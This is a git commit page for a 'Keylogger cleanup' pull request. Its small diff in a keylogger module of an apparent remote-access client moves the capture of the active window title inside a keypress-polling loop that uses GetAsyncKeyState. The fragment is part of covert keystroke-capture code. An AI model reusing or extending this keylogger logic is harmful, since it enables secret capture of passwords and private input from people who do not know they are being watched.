Merge pull request #78 from d3agle/master

Keylogger cleanup
This commit is contained in:
MaxXor 2015-05-05 10:05:35 +02:00
commit 8f33798489
1 changed files with 2 additions and 2 deletions

View File

@ -127,12 +127,12 @@ namespace xClient.Core.Keylogger
private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e) private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{ {
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
foreach (int i in _enumValues) //Loop through our enumValues list populated with the keys we want to log foreach (int i in _enumValues) //Loop through our enumValues list populated with the keys we want to log
{ {
if (GetAsyncKeyState(i) == -32767) //GetAsycKeyState returns -32767 to indicate keypress if (GetAsyncKeyState(i) == -32767) //GetAsycKeyState returns -32767 to indicate keypress
{ {
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
if (_hWndTitle != null) if (_hWndTitle != null)
{ {
if (_hWndTitle != _hWndLastTitle) if (_hWndTitle != _hWndLastTitle)